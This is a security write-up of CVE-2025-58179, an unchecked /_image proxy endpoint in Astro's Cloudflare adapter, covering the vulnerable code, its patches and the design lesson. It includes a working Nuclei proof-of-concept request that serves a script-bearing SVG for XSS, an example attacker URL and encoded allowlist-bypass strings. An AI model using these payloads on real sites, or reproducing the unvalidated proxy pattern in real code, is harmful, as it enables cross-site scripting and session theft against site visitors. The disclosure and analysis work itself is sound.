//nefariousplan

CVE-2025-58179: Astro Shipped Two /_image Endpoints. Only One Read the Allowlist.

patterns

cve

proof of concept

Astro ships two implementations of the /_image endpoint. One lives in packages/astro/src/assets/endpoint/generic.ts, used by the dev server and by deployments running Astro's default image pipeline. The other lives in packages/integrations/cloudflare/src/entrypoints/image-endpoint.ts, used by sites built with output: 'server' and imageService: 'compile' and deployed to Cloudflare Pages or Workers. Both endpoints answer requests at /_image?href=.... The first validated remote URLs against the configured domain allowlist from at least September 2023. The second never did, until 2025-08-27.

CVE-2025-58179 is the second endpoint fetching whatever you put in href.

The endpoint that was empty on purpose

The Cloudflare adapter shipped image-endpoint.ts empty for nearly seven months. From the file's creation in commit 12fd2e174e on 2024-01-09 until the next change on 2024-08-03, its only contents were a comment:

// NOTE: this file is empty on purpose
// it allows use to offer `imageService: 'compile'`

imageService: 'compile' is the Cloudflare-specific image pipeline. When set, Astro's runtime image transformation step is skipped: the optimized image is requested from Cloudflare's native edge image service rather than processed by Astro itself. The route had to exist for Astro's static analyzer to recognize the path. The body could be supplied later.

On 2024-08-03, commit 543beda4f2 ("fix(cloudflare): add proxy /_image endpoint (#335)") deleted the comment and replaced it with twelve lines:

import type { APIRoute } from 'astro';

export const prerender = false;

export const GET: APIRoute = (ctx) => {
	const href = ctx.url.searchParams.get('href');
	if (!href) {
		return new Response("Missing 'href' query parameter", {
			status: 400,
			statusText: "Missing 'href' query parameter",
		});
	}

	return fetch(new URL(href, ctx.url.origin));
};

The handler reads href from the query string. It returns 400 if the parameter is missing. It then constructs a URL from href, resolves relative inputs against the request's origin, and returns the result of fetch() directly. The Response object that fetch() returns is forwarded verbatim: body, status, and headers, including Content-Type.

Nothing in those twelve lines validates that href points anywhere the site operator authorized.

The generic endpoint had the gate. The Cloudflare endpoint didn't.

The canonical /_image handler lives in packages/astro/src/assets/endpoint/generic.ts. As of commit 47ea310f01 on 2023-09-29, almost a full year before the Cloudflare adapter's file was filled, that handler already contained:

import { isRemotePath } from '@astrojs/internal-helpers/path';
import { isRemoteAllowed } from '../utils/remotePattern.js';

// inside GET:
const isRemoteImage = isRemotePath(transform.src);

if (isRemoteImage && isRemoteAllowed(transform.src, imageConfig) === false) {
    return new Response('Forbidden', { status: 403 });
}

isRemoteAllowed is the function that consults image.domains and image.remotePatterns from the user's astro.config.mjs. It is the gate the Astro documentation tells operators they are configuring when they list authorized image hosts. It was exportable from astro/assets/utils, available to anyone calling import { isRemoteAllowed } from 'astro/assets/utils'. The in-tree generic endpoint imported it and called it.

The Cloudflare adapter's image-endpoint.ts did not import it. Twelve lines, one import beyond APIRoute. The handler had no awareness that the user had a domain allowlist, that Astro's documentation promised the allowlist would be enforced at this URL, or that the canonical endpoint two directories away was already enforcing it.

For twelve months and twenty-four days, deployments running output: 'server' on the Cloudflare adapter served any URL the visitor supplied in the href parameter.

The exploit is one GET

The PoC is a Nuclei template, one request:

http:
  - method: GET
    path:
      - "{{BaseURL}}/_image?href=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg"
    matchers:
      - type: word
        part: body
        words:
          - '<script type="text/javascript'
          - 'alert(document.domain);'
        condition: and
      - type: word
        part: content_type
        words:
          - "image/svg+xml"
      - type: status
        status:
          - 200

The href parameter points at an SVG file containing an embedded <script> block. The handler calls fetch('https://raw.githubusercontent.com/.../retool-xss.svg'), receives the SVG body and Content-Type: image/svg+xml from GitHub, and returns the same Response object verbatim. The browser sees image/svg+xml from the victim's origin and renders the document. SVG is one of the few image formats whose specification permits embedded JavaScript. When an attacker links a victim to https://victim-site.com/_image?href=https://attacker/x.svg, the script inside the attacker's SVG runs in the victim site's origin, with access to the victim site's cookies, localStorage, and session.

The CVE description calls this SSRF, which is accurate to CWE-918 but undersells the result. SSRF that returns the response body verbatim, with attacker-controlled Content-Type, on the victim's origin, is XSS as a service. The address bar shows the victim's domain. Cloudflare's CDN cache will extend the lifespan of the proxied document to anyone who visits the same URL afterward.

The patch is the gate, copied

Commit 9ecf3598, on 2025-08-27, added the gate:

+// @ts-expect-error
+import { imageConfig } from 'astro:assets';
+import { isRemotePath } from '@astrojs/internal-helpers/path';
 import type { APIRoute } from 'astro';
+import { isRemoteAllowed } from 'astro/assets/utils';

 export const prerender = false;

 export const GET: APIRoute = (ctx) => {
     const href = ctx.url.searchParams.get('href');
     if (!href) {
         return new Response("Missing 'href' query parameter", {
             status: 400,
             statusText: "Missing 'href' query parameter",
         });
     }

+    if (isRemotePath(href)) {
+        if (isRemoteAllowed(href, imageConfig) === false) {
+            return new Response('Forbidden', { status: 403 });
+        } else {
+            // Redirect here because it is safer than a proxy, remote image will be served by remote domain and not own domain
+            return Response.redirect(href, 302);
+        }
+    }

     return fetch(new URL(href, ctx.url.origin));
 };

The imports are the imports the generic endpoint had been using. isRemotePath from @astrojs/internal-helpers/path. isRemoteAllowed from astro/assets/utils. The new check calls isRemoteAllowed(href, imageConfig) against the same imageConfig object the adapter has had access to all along. The pull-request commit message says it: "adapted and based on the generic endpoint... the custom image proxy endpoint should adhere and follow user configuration for remote domains."

Read the comment on the new redirect line: "Redirect here because it is safer than a proxy, remote image will be served by remote domain and not own domain." Even when the gate allows the URL, the patched code does not return the bytes; it returns a 302 to the upstream URL and lets the browser fetch them directly from the third-party origin. That comment is the architectural admission. Proxying validated remote content under your own origin was wrong even with the allowlist in place. The generic endpoint had the gate but still proxied; the Cloudflare adapter's fix took the additional step.

The original twelve lines were wrong on two layers. The gate was missing. The proxy semantics were also wrong. The fix addresses both. The unfixed file had been wrong on both for a year.

Five weeks later, the same file took another fix

On 2025-10-02, commit b8ca69b971 added another security check to the same handler:

     if (isRemotePath(href)) { /* 403 or 302 */ }

-    return fetch(new URL(href, ctx.url.origin));
+    const proxied = new URL(href, ctx.url.origin);
+    // Have we been tricked into thinking this is local?
+    if (proxied.origin !== ctx.url.origin) {
+        return new Response('Forbidden', { status: 403 });
+    }
+
+    return fetch(proxied);
 };

isRemotePath decides whether href is "remote." If it is, the August patch's gate runs. If it is not, the original fetch(new URL(href, ctx.url.origin)) runs, on the assumption that anything isRemotePath does not classify as remote must resolve to the same origin as the request. The October patch admits the assumption was wrong: certain encodings, backslash variants, protocol-relative inputs, and other edge cases could pass isRemotePath's remote test as "not remote" while resolving under new URL(href, ctx.url.origin) to a different origin. The new check compares the resolved URL's origin against the request's origin and forbids on mismatch.

The same comment landed in packages/astro/src/assets/endpoint/generic.ts on the same day. The canonical endpoint also had the hole. The Cloudflare adapter inherited it.

The same merge refactored isRemotePath itself in @astrojs/internal-helpers. The old implementation was a single regex matching ^(?:(?:http|ftp|https|ws):?\/\/|\/\/). The new implementation iteratively URL-decodes the input up to ten times to defeat multi-level obfuscation, and tests for backslash variants like \\example.com that browsers and new URL() will normalize to a remote origin. The previous regex missed %5C%5Cattacker.com, %2F%2Fattacker.com, and several other forms.

The 12-line file took two security commits in 36 days. Cumulative additions across both: about 18 lines. The original 12 had grown to 30, every new line a check the original lacked.

The structural reason

Astro is a framework with an adapter ecosystem. The same client-facing URL contract (/_image?href=...) is implemented by per-adapter handlers because each deployment target has different optimization plumbing. Cloudflare's adapter delegates transformation to Cloudflare's edge image service. Vercel's adapter has a similar shape. Node's standalone adapter uses the generic handler. Each adapter team maintains its own copy of the request handler.

The check that filters allowed remote domains lives in astro/assets/utils as isRemoteAllowed. It is exportable. The canonical generic endpoint imports and calls it. The Cloudflare endpoint, written separately, did not. There was no compile-time error, no test, no review gate that flagged the divergence. The two implementations passed all their own tests; neither team's tests asked the question the other team's tests did.

This is the parallel-implementation gap: a capability whose security guarantees live in a canonical implementation, and a divergent implementation, written for a different runtime, that ships without those guarantees. It is also a design-debt driver in the cloudflare-adapter file specifically: the same twelve lines absorbed two security commits in 36 days, and the second commit's isRemotePath refactor admits the first's gate did not close the substrate. Composer's VCS driver family carries the same shape: the Hg driver was hardened in 2021, the Perforce driver kept building shell strings until 2026, each driver responsible for its own escaping decisions, the bug class reproducing driver by driver. Composer's case had a fix that didn't propagate to siblings. Astro's case is upstream of that: the canonical implementation never had a propagation problem, because the canonical was always safe; the divergent implementation was written without consulting the canonical, so there was nothing to propagate from in the first place.

When you audit a framework's adapter ecosystem, audit each adapter's handler against the canonical, line by line. The check that lives in the canonical does not propagate to the adapters by default. It propagates by someone copying it. The Cloudflare adapter's image-endpoint.ts is the file someone wrote without reading the file next to it.

PoC: projectdiscovery/nuclei-templates

The check existed. It was on the codepath the dev server ran. It was not on the codepath Cloudflare deployments ran.